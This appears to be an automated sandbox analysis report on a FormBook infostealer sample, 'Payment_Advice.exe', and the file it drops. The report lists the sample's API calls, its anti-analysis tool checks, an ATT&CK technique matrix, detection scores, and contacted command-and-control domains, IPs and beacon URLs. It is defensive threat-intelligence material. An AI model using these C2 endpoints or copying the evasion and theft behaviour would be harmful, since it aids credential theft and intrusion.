Code function: 0_2_0051DF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_0051DF1E

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001ABCF2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

6_2_001ABCF2

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001CE5F8 GetUserNameW,

6_2_001CE5F8

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0050B146 GetVersionExW,

0_2_0050B146

Source: ewdbwwfpdh.bmp, 00000006.00000003.1601630284.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000002.1607858795.0000000001026000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601873902.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601782208.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1602301908.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVGUI.exe
Source: ewdbwwfpdh.bmp, 00000006.00000002.1607737663.000000000100B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601630284.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1604570490.000000000100A000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601873902.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601782208.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603782046.000000000100A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: ewdbwwfpdh.bmp, 00000006.00000002.1607737663.000000000100B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601630284.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1604570490.000000000100A000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601873902.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601782208.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603782046.000000000100A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regshot.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_81
Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_XP
Source: ewdbwwfpdh.bmp.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_XPe
Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_VISTA
Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_7
Source: ewdbwwfpdh.bmp	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001F2163 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_001F2163
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001F1B61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_001F1B61

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
2 Valid Accounts	1 Scripting	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	4 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	Logon Script (Windows)	2 Valid Accounts	1 Scripting	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Command and Scripting Interpreter	Logon Script (Mac)	21 Access Token Manipulation	3 Obfuscated Files or Information	NTDS	127 System Information Discovery	Distributed Component Object Model	12 Clipboard Data	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	912 Process Injection	1 Software Packing	LSA Secrets	461 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rootkit	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	11 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	12 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	21 Access Token Manipulation	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	912 Process Injection	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment_Advice.exe	45%	ReversingLabs	Win32.Trojan.Nymeria
Payment_Advice.exe	49%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	13%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.91fulizifen.com	0%	Virustotal	Browse
www.tygyro.com	0%	Virustotal	Browse
www.brownkrosshui.com	0%	Virustotal	Browse
www.usbulletinnow.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.micro	0%	URL Reputation	safe
http://www.91fulizifen.com/hesf/www.pendletonofficial.shop	0%	Avira URL Cloud	safe
http://www.usbulletinnow.comReferer:	0%	Avira URL Cloud	safe
http://www.usbulletinnow.com	0%	Avira URL Cloud	safe
http://www.usbulletinnow.com/hesf/	0%	Avira URL Cloud	safe
http://www.usbulletinnow.com	0%	Virustotal		Browse
http://www.usbulletinnow.com/hesf/	0%	Virustotal		Browse
http://www.schistdisc.com/hesf/www.1320detailingsupplies.com	0%	Avira URL Cloud	safe
http://www.im-newbie-journal.online	0%	Avira URL Cloud	safe
http://www.im-newbie-journal.online/hesf/www.tygyro.com	0%	Avira URL Cloud	safe
https://powerpoint.office.comer	0%	Avira URL Cloud	safe
http://www.pendletonofficial.shopReferer:	0%	Avira URL Cloud	safe
http://www.shayun.net/hesf/www.brownkrosshui.com	0%	Avira URL Cloud	safe
http://www.pendletonofficial.shop/hesf/www.shayun.net	0%	Avira URL Cloud	safe
http://www.homespy.net/hesf/	0%	Avira URL Cloud	safe
http://www.jf66899j.com/hesf/www.jimenezfarmersinsurance.shop	0%	Avira URL Cloud	safe
http://www.othersidewear.com/hesf/www.91fulizifen.com	0%	Avira URL Cloud	safe
http://www.brownkrosshui.com/hesf/?jBZ=Zexu6rzcFbxF4r/yRE1P6uhuDniKqQl2K3Z2GVMnXCfVfpJX9615KGPJ2pRkkggZfWm9&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
http://www.homespy.net/hesf/	1%	Virustotal		Browse
http://www.jimenezfarmersinsurance.shop/hesf/	0%	Avira URL Cloud	safe
http://www.microsoft.c	0%	Avira URL Cloud	safe
http://www.tygyro.com/hesf/?jBZ=C6m+T/QSDYRxkia6wo2b10sg9WxaAAR9Ewn+rwYRRUW3VljC+LgrolCw9oI9hSyVjjh+&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
http://www.im-newbie-journal.online/hesf/	0%	Avira URL Cloud	safe
http://www.svgco.lifeReferer:	0%	Avira URL Cloud	safe
http://www.1320detailingsupplies.com	0%	Avira URL Cloud	safe
http://www.brownkrosshui.comReferer:	0%	Avira URL Cloud	safe
http://www.jimenezfarmersinsurance.shopReferer:	0%	Avira URL Cloud	safe
http://www.1320detailingsupplies.com/hesf/	0%	Avira URL Cloud	safe
http://www.jimenezfarmersinsurance.shop/hesf/	1%	Virustotal		Browse
http://www.pendletonofficial.shop/hesf/	0%	Avira URL Cloud	safe
http://www.othersidewear.comReferer:	0%	Avira URL Cloud	safe
http://www.tygyro.com/hesf/www.87b52.club	0%	Avira URL Cloud	safe
http://www.87b52.club	0%	Avira URL Cloud	safe
http://www.87b52.clubReferer:	0%	Avira URL Cloud	safe
http://www.pendletonofficial.shop	0%	Avira URL Cloud	safe
http://www.othersidewear.com/hesf/?jBZ=szcn2kpEQ6L2Syu9mG2pKozAyrZLMpz3ThmLak2r9KpoKfLz6EjH9XrJVzpw+e6nWP1B&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
http://www.pancakesandwaflesbeverages.netReferer:	0%	Avira URL Cloud	safe
http://www.schistdisc.comReferer:	0%	Avira URL Cloud	safe
http://www.87b52.club/hesf/	0%	Avira URL Cloud	safe
http://www.homespy.netReferer:	0%	Avira URL Cloud	safe
http://www.jf66899j.comReferer:	0%	Avira URL Cloud	safe
http://www.1320detailingsupplies.comReferer:	0%	Avira URL Cloud	safe
http://www.brownkrosshui.com	0%	Avira URL Cloud	safe
http://www.schistdisc.com/hesf/	0%	Avira URL Cloud	safe
http://www.jf66899j.com	0%	Avira URL Cloud	safe
http://www.schistdisc.com	0%	Avira URL Cloud	safe
http://www.im-newbie-journal.onlineReferer:	0%	Avira URL Cloud	safe
http://www.jf66899j.com/hesf/	0%	Avira URL Cloud	safe
http://www.shayun.net/hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
http://www.91fulizifen.com	0%	Avira URL Cloud	safe
http://www.brownkrosshui.com/hesf/	0%	Avira URL Cloud	safe
http://www.brownkrosshui.com/hesf/www.usbulletinnow.com	0%	Avira URL Cloud	safe
http://www.87b52.club/hesf/?jBZ=Yl+PPX/Fw39a2JSf74vYq4wd93NvWGX3Wu4/ealva/bJOpk7yrAe/vXYfNyLtgAB6gnO&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
http://www.1320detailingsupplies.com/hesf/www.jf66899j.com	0%	Avira URL Cloud	safe
http://www.svgco.life	0%	Avira URL Cloud	safe
http://www.tygyro.com/hesf/	0%	Avira URL Cloud	safe
http://www.tygyro.comReferer:	0%	Avira URL Cloud	safe
http://www.svgco.life/hesf/	0%	Avira URL Cloud	safe
http://www.jimenezfarmersinsurance.shop	0%	Avira URL Cloud	safe
http://www.pancakesandwaflesbeverages.net/hesf/www.schistdisc.com	0%	Avira URL Cloud	safe
http://www.svgco.life/hesf/www.pancakesandwaflesbeverages.net	0%	Avira URL Cloud	safe
http://www.91fulizifen.com/hesf/?jBZ=d2AGz1H3YsI9kghQJOJ7DZyuiCPgqoB+sSxuqf6m27exoGivXrHz5sUA11+t0RjRixK2&Gvw=T4RpitPpFtBLx	0%	Avira URL Cloud	safe
www.jimenezfarmersinsurance.shop/hesf/	0%	Avira URL Cloud	safe
http://www.91fulizifen.comReferer:	0%	Avira URL Cloud	safe
http://ns.adobeS	0%	Avira URL Cloud	safe
http://www.pancakesandwaflesbeverages.net/hesf/	0%	Avira URL Cloud	safe
http://www.91fulizifen.com/hesf/	0%	Avira URL Cloud	safe
http://www.87b52.club/hesf/www.svgco.life	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.91fulizifen.com	142.234.186.98	true	true	0%, Virustotal, Browse	unknown
parkingpage.namecheap.com	91.195.240.19	true	false		high
www.othersidewear.com	77.222.40.147	true	true		unknown
overdue.aliyun.com	170.33.13.246	true	false		high
usbulletinnow.com	62.72.50.244	true	true		unknown
www.im-newbie-journal.online	66.96.160.140	true	true		unknown
www.tygyro.com	103.224.182.242	true	true	0%, Virustotal, Browse	unknown
www.87b52.club	75.2.115.196	true	true		unknown
www.brownkrosshui.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.pendletonofficial.shop	unknown	unknown	true		unknown
www.usbulletinnow.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.shayun.net	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.brownkrosshui.com/hesf/?jBZ=Zexu6rzcFbxF4r/yRE1P6uhuDniKqQl2K3Z2GVMnXCfVfpJX9615KGPJ2pRkkggZfWm9&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
http://www.tygyro.com/hesf/?jBZ=C6m+T/QSDYRxkia6wo2b10sg9WxaAAR9Ewn+rwYRRUW3VljC+LgrolCw9oI9hSyVjjh+&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
http://www.othersidewear.com/hesf/?jBZ=szcn2kpEQ6L2Syu9mG2pKozAyrZLMpz3ThmLak2r9KpoKfLz6EjH9XrJVzpw+e6nWP1B&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
http://www.shayun.net/hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
http://www.87b52.club/hesf/?jBZ=Yl+PPX/Fw39a2JSf74vYq4wd93NvWGX3Wu4/ealva/bJOpk7yrAe/vXYfNyLtgAB6gnO&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
http://www.91fulizifen.com/hesf/?jBZ=d2AGz1H3YsI9kghQJOJ7DZyuiCPgqoB+sSxuqf6m27exoGivXrHz5sUA11+t0RjRixK2&Gvw=T4RpitPpFtBLx	true	Avira URL Cloud: safe	unknown
www.jimenezfarmersinsurance.shop/hesf/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://powerpoint.office.comer	explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.91fulizifen.com/hesf/www.pendletonofficial.shop	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.usbulletinnow.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSA4	explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.usbulletinnow.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.usbulletinnow.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000F.00000003.2284163967.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3856158250.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.im-newbie-journal.online	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.schistdisc.com/hesf/www.1320detailingsupplies.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.im-newbie-journal.online/hesf/www.tygyro.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
